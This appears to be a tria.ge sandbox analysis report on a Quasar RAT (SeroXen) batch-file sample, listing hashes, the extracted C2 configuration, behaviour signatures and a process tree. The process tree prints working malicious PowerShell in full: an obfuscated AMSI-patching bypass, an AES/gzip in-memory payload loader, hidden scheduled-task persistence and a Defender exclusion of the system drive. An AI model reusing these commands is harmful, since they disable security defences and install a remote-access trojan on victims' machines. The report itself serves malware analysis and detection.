Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    150s
  • max time network
    97s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/05/2024, 00:52

General

  • Target

    Client-built (2).bat

  • Size

    1.6MB

  • MD5

    da7beeb28254ec3bb319060398c5818a

  • SHA1

    99378e5615053698c3adcd02732389dc71d2b2eb

  • SHA256

    d515f6ca3e692713a94fe4066bbba25b4d6157af0606ca17bde5c0d4f3a6e02b

  • SHA512

    7d6322396e8ecbe5e3303dd96cc1a396037d2f7d47b50714725b1138f4fc650b0ccfa1a43dd233703a860c1109a21eba527a1714319f4a08bf1a23d4b9c4a0b2

  • SSDEEP

    24576:W0aS2MAjGvh1FiDkgGi2P6xE/NPe+JXe5PRnr1uyQAI9elDqYemJe+RTeteMuSdb:NaeAjWFb/gEYtX0FmhRpTj0

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

SeroXen

C2

127.0.0.1:65362

common-congratulations.gl.at.ply.gg:65362

Mutex

fc4e70a0-8aae-4cde-9ee1-344a509436e2

Attributes
  • encryption_key

    CBC19B9A3E9EB4E5A14FBE92CED9111175A659E7

  • install_name

    $77-$77-powershell.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    $77-$77-powershell.exe

  • subdirectory

    SubDir

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Drops file in System32 directory 14 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 18 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 58 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 28 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:620
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:1020
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{dcb2b82a-6980-4a2b-9396-56de2dc16a5a}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3148
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
        • Modifies data under HKEY_USERS
        PID:672
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
        1⤵
          PID:944
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
          1⤵
            PID:520
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
            1⤵
              PID:864
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
              1⤵
              • Drops file in System32 directory
              PID:1096
              • C:\Windows\system32\taskhostw.exe
                taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                2⤵
                  PID:2900
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:FQMLSMyAlRAk{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ZNHTVvLPjXdqfD,[Parameter(Position=1)][Type]$amOcTDAHfA)$zZshqrDVAtf=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+'e'+''+[Char](99)+'t'+[Char](101)+''+'d'+''+[Char](68)+''+'e'+''+'l'+''+'e'+''+[Char](103)+'a'+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+''+[Char](101)+'mo'+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+'d'+[Char](117)+''+'l'+''+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+''+'D'+'ele'+[Char](103)+''+[Char](97)+'t'+'e'+'T'+[Char](121)+''+[Char](112)+'e',''+'C'+''+[Char](108)+'a'+'s'+''+'s'+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+'l'+[Char](105)+'c,'+'S'+''+[Char](101)+'al'+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+'s'+'i'+[Char](67)+'l'+[Char](97)+''+'s'+''+[Char](115)+''+','+''+'A'+'u'+'t'+'o'+[Char](67)+'l'+[Char](97)+'s'+'s'+'',[MulticastDelegate]);$zZshqrDVAtf.DefineConstructor(''+'R'+'TSpe'+[Char](99)+''+[Char](105)+''+'a'+'lN'+[Char](97)+'m'+[Char](101)+''+','+''+'H'+'ide'+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+'P'+''+[Char](117)+'b'+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$ZNHTVvLPjXdqfD).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+''+'a'+'g'+'e'+''+'d'+'');$zZshqrDVAtf.DefineMethod(''+[Char](73)+''+'n'+'v'+[Char](111)+''+[Char](107)+'e',''+[Char](80)+''+'u'+''+[Char](98)+'l'+'i'+''+'c'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+'By'+'S'+''+[Char](105)+''+[Char](103)+','+'N'+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+'o'+'t'+','+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+'u'+'a'+'l'+'',$amOcTDAHfA,$ZNHTVvLPjXdqfD).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+'im'+[Char](101)+''+[Char](44)+''+'M'+''+'a'+''+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $zZshqrDVAtf.CreateType();}$qFxTWxBCeOImN=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+[Char](115)+'t'+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l')}).GetType(''+[Char](77)+'i'+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+'t'+[Char](46)+''+'W'+''+[Char](105)+''+'n'+''+[Char](51)+'2'+'.'+''+[Char](85)+''+[Char](110)+''+'s'+''+[Char](97)+'fe'+[Char](78)+''+'a'+''+'t'+''+[Char](105)+'ve'+'M'+''+[Char](101)+'t'+[Char](104)+''+[Char](111)+''+'d'+''+[Char](115)+'');$HhjRtisevCJpVz=$qFxTWxBCeOImN.GetMethod(''+'G'+''+'e'+''+'t'+''+'P'+''+[Char](114)+'oc'+[Char](65)+'ddr'+'e'+''+[Char](115)+'s',[Reflection.BindingFlags](''+[Char](80)+'ub'+[Char](108)+''+'i'+'c'+','+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$BeghDPBYeuYAIbOdXjb=FQMLSMyAlRAk @([String])([IntPtr]);$oZaXxvjAaYQdVjcGZkFMmI=FQMLSMyAlRAk @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$uIeGOcmlssO=$qFxTWxBCeOImN.GetMethod(''+'G'+''+'e'+''+'t'+'M'+[Char](111)+'d'+[Char](117)+''+'l'+''+[Char](101)+''+[Char](72)+''+'a'+''+[Char](110)+'d'+[Char](108)+'e').Invoke($Null,@([Object]('k'+[Char](101)+'r'+[Char](110)+''+[Char](101)+''+[Char](108)+'3'+[Char](50)+'.'+'d'+''+[Char](108)+''+[Char](108)+'')));$xpdNyvwlQRAFVw=$HhjRtisevCJpVz.Invoke($Null,@([Object]$uIeGOcmlssO,[Object]('L'+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+'i'+''+[Char](98)+''+'r'+''+[Char](97)+''+'r'+''+[Char](121)+''+'A'+'')));$bChBKmsztyVadPXqp=$HhjRtisevCJpVz.Invoke($Null,@([Object]$uIeGOcmlssO,[Object]('V'+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+'r'+''+'o'+''+[Char](116)+'ec'+'t'+'')));$dxJvjdY=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xpdNyvwlQRAFVw,$BeghDPBYeuYAIbOdXjb).Invoke(''+[Char](97)+''+[Char](109)+'si'+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$aGXbtiGWIwtFzeiaJ=$HhjRtisevCJpVz.Invoke($Null,@([Object]$dxJvjdY,[Object]('A'+[Char](109)+'si'+[Char](83)+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+'B'+'u'+[Char](102)+''+[Char](102)+'er')));$NENeNTujoA=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($bChBKmsztyVadPXqp,$oZaXxvjAaYQdVjcGZkFMmI).Invoke($aGXbtiGWIwtFzeiaJ,[uint32]8,4,[ref]$NENeNTujoA);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$aGXbtiGWIwtFzeiaJ,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($bChBKmsztyVadPXqp,$oZaXxvjAaYQdVjcGZkFMmI).Invoke($aGXbtiGWIwtFzeiaJ,[uint32]8,0x20,[ref]$NENeNTujoA);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'OF'+[Char](84)+''+[Char](87)+''+'A'+''+[Char](82)+''+'E'+'').GetValue(''+[Char](36)+'77'+[Char](115)+''+'t'+''+'a'+'ger')).EntryPoint.Invoke($Null,$Null)"
                  2⤵
                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:2556
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                1⤵
                  PID:1120
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                  1⤵
                    PID:1128
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                    1⤵
                    • Drops file in System32 directory
                    PID:1136
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                    1⤵
                      PID:1204
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                      1⤵
                        PID:1276
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                        1⤵
                          PID:1324
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                          1⤵
                            PID:1400
                            • C:\Windows\system32\sihost.exe
                              sihost.exe
                              2⤵
                                PID:2580
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                              1⤵
                                PID:1432
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                1⤵
                                  PID:1544
                                • C:\Windows\System32\svchost.exe
                                  C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                  1⤵
                                    PID:1540
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                    1⤵
                                      PID:1644
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                      1⤵
                                        PID:1692
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                        1⤵
                                          PID:1736
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                          1⤵
                                            PID:1760
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                            1⤵
                                              PID:1900
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                              1⤵
                                                PID:2028
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                1⤵
                                                  PID:2036
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:1036
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                    1⤵
                                                      PID:1668
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                      1⤵
                                                        PID:1892
                                                      • C:\Windows\System32\spoolsv.exe
                                                        C:\Windows\System32\spoolsv.exe
                                                        1⤵
                                                          PID:2176
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                          1⤵
                                                            PID:2272
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                            1⤵
                                                              PID:2352
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                              1⤵
                                                                PID:2592
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                1⤵
                                                                  PID:2612
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                  1⤵
                                                                    PID:2632
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                    1⤵
                                                                    • Drops file in System32 directory
                                                                    PID:2828
                                                                  • C:\Windows\sysmon.exe
                                                                    C:\Windows\sysmon.exe
                                                                    1⤵
                                                                      PID:2880
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                      1⤵
                                                                        PID:2888
                                                                      • C:\Windows\System32\svchost.exe
                                                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                        1⤵
                                                                          PID:2912
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                          1⤵
                                                                            PID:2924
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                            1⤵
                                                                              PID:2952
                                                                            • C:\Windows\system32\wbem\unsecapp.exe
                                                                              C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                              1⤵
                                                                                PID:3220
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                1⤵
                                                                                  PID:3452
                                                                                • C:\Windows\Explorer.EXE
                                                                                  C:\Windows\Explorer.EXE
                                                                                  1⤵
                                                                                  • Modifies registry class
                                                                                  • Suspicious behavior: GetForegroundWindowSpam
                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                  PID:3556
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client-built (2).bat"
                                                                                    2⤵
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:1256
                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Fulx5naUxxJC4PEh/asEOXXmfMdH8rl9wkrrsuGUwkE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('X+M2T7L88iDz+qwc/2xk3w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vHkOv=New-Object System.IO.MemoryStream(,$param_var); $cMQor=New-Object System.IO.MemoryStream; $hCTUY=New-Object System.IO.Compression.GZipStream($vHkOv, [IO.Compression.CompressionMode]::Decompress); $hCTUY.CopyTo($cMQor); $hCTUY.Dispose(); $vHkOv.Dispose(); $cMQor.Dispose(); $cMQor.ToArray();}function execute_function($param_var,$param2_var){ $KPBbX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zVfPe=$KPBbX.EntryPoint; $zVfPe.Invoke($null, $param2_var);}$VnwnK = 'C:\Users\Admin\AppData\Local\Temp\Client-built (2).bat';$host.UI.RawUI.WindowTitle = $VnwnK;$HPJZc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($VnwnK).Split([Environment]::NewLine);foreach ($kTnXf in $HPJZc) { if ($kTnXf.StartsWith(':: ')) { $GNmwQ=$kTnXf.Substring(3); break; }}$payloads_var=[string[]]$GNmwQ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                                                                                      3⤵
                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                      • Modifies registry class
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      • Suspicious use of WriteProcessMemory
                                                                                      PID:2792
                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_862_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_862.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                                                                                        4⤵
                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:2324
                                                                                      • C:\Windows\System32\WScript.exe
                                                                                        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_862.vbs"
                                                                                        4⤵
                                                                                        • Checks computer location settings
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:3944
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_862.bat" "
                                                                                          5⤵
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:4720
                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            6⤵
                                                                                              PID:4688
                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Fulx5naUxxJC4PEh/asEOXXmfMdH8rl9wkrrsuGUwkE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('X+M2T7L88iDz+qwc/2xk3w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vHkOv=New-Object System.IO.MemoryStream(,$param_var); $cMQor=New-Object System.IO.MemoryStream; $hCTUY=New-Object System.IO.Compression.GZipStream($vHkOv, [IO.Compression.CompressionMode]::Decompress); $hCTUY.CopyTo($cMQor); $hCTUY.Dispose(); $vHkOv.Dispose(); $cMQor.Dispose(); $cMQor.ToArray();}function execute_function($param_var,$param2_var){ $KPBbX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zVfPe=$KPBbX.EntryPoint; $zVfPe.Invoke($null, $param2_var);}$VnwnK = 'C:\Users\Admin\AppData\Roaming\startup_str_862.bat';$host.UI.RawUI.WindowTitle = $VnwnK;$HPJZc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($VnwnK).Split([Environment]::NewLine);foreach ($kTnXf in $HPJZc) { if ($kTnXf.StartsWith(':: ')) { $GNmwQ=$kTnXf.Substring(3); break; }}$payloads_var=[string[]]$GNmwQ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                                                                                              6⤵
                                                                                              • Blocklisted process makes network request
                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                              • Drops file in Drivers directory
                                                                                              • Drops file in System32 directory
                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:4164
                                                                                              • C:\Users\Admin\AppData\Local\Temp\Install.exe
                                                                                                "C:\Users\Admin\AppData\Local\Temp\Install.exe"
                                                                                                7⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:1232
                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                "powershell.exe" -WindowStyle Hidden -Command Add-MpPreference -ExclusionPath (Get-Item -LiteralPath $env:SystemRoot).Root
                                                                                                7⤵
                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                PID:5032
                                                                                              • C:\Windows\System32\ipconfig.exe
                                                                                                "C:\Windows\System32\ipconfig.exe" /flushdns
                                                                                                7⤵
                                                                                                • Gathers network information
                                                                                                PID:1568
                                                                                              • C:\Windows\SYSTEM32\schtasks.exe
                                                                                                "schtasks" /create /tn "$77-$77-powershell.exe" /sc ONLOGON /tr "C:\Windows\system32\SubDir\$77-$77-$77-powershell.exe" /rl HIGHEST /f
                                                                                                7⤵
                                                                                                • Creates scheduled task(s)
                                                                                                PID:2780
                                                                                              • C:\Windows\system32\SubDir\$77-$77-$77-powershell.exe
                                                                                                "C:\Windows\system32\SubDir\$77-$77-$77-powershell.exe"
                                                                                                7⤵
                                                                                                • Executes dropped EXE
                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                PID:3860
                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                  8⤵
                                                                                                    PID:3912
                                                                                      • C:\Windows\System32\fruvan.exe
                                                                                        "C:\Windows\System32\fruvan.exe"
                                                                                        2⤵
                                                                                          PID:4140
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                        1⤵
                                                                                          PID:3672
                                                                                        • C:\Windows\system32\DllHost.exe
                                                                                          C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                          1⤵
                                                                                            PID:3864
                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                            1⤵
                                                                                            • Modifies registry class
                                                                                            PID:4052
                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                            1⤵
                                                                                            • Suspicious use of UnmapMainImage
                                                                                            PID:4120
                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                            1⤵
                                                                                              PID:4376
                                                                                            • C:\Windows\system32\SppExtComObj.exe
                                                                                              C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                              1⤵
                                                                                                PID:1776
                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                1⤵
                                                                                                  PID:3768
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                  1⤵
                                                                                                    PID:1452
                                                                                                  • C:\Windows\System32\svchost.exe
                                                                                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                    1⤵
                                                                                                      PID:4048
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                      1⤵
                                                                                                        PID:4760
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                        1⤵
                                                                                                        • Modifies data under HKEY_USERS
                                                                                                        PID:3144
                                                                                                      • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                        "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                        1⤵
                                                                                                        • Modifies data under HKEY_USERS
                                                                                                        PID:4508
                                                                                                      • C:\Windows\system32\DllHost.exe
                                                                                                        C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                        1⤵
                                                                                                          PID:3984
                                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                          1⤵
                                                                                                            PID:1824
                                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                            1⤵
                                                                                                              PID:1912
                                                                                                            • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                              C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                              1⤵
                                                                                                              • Checks BIOS information in registry
                                                                                                              • Checks SCSI registry key(s)
                                                                                                              • Enumerates system info in registry
                                                                                                              PID:1360
                                                                                                            • C:\Windows\System32\rundll32.exe
                                                                                                              C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                                              1⤵
                                                                                                                PID:3716
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
                                                                                                                1⤵
                                                                                                                  PID:3260
